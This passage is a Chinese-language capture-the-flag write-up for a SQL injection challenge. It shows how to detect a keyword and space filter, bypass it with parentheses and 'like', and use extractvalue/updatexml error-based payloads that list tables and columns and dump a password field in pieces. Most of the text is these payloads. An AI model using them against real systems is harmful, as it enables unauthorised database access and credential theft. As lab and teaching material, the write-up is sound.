sql注入题进入后直接惯例
输入admin / 2'or'1
随后来到这个界面
在url的username或password后面
随便加点东西看看
发现有报东西
使用bp试试看过滤了哪些东西
发现select、ascii、空格、=等被过滤
再加上之前页面的报错
就确定了需要用报错注入来做
随后构造注入语句
因为“=”、“空格”被过滤了
所以就用常用的" like "和" () "来绕过
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#
或
1'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
得到数据库名后构造下一句
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#或
1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23
由此类推下去得到下一句语句
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
但是当你输入后会发现
他只给了你前半段的flag
这是为什么,那该怎么办呢
这是因为extractvalue函数限制了一次字符串只能输出32位
只需要使用left和right函数即可
最终语句为
1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))%23
或
1'^(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))%23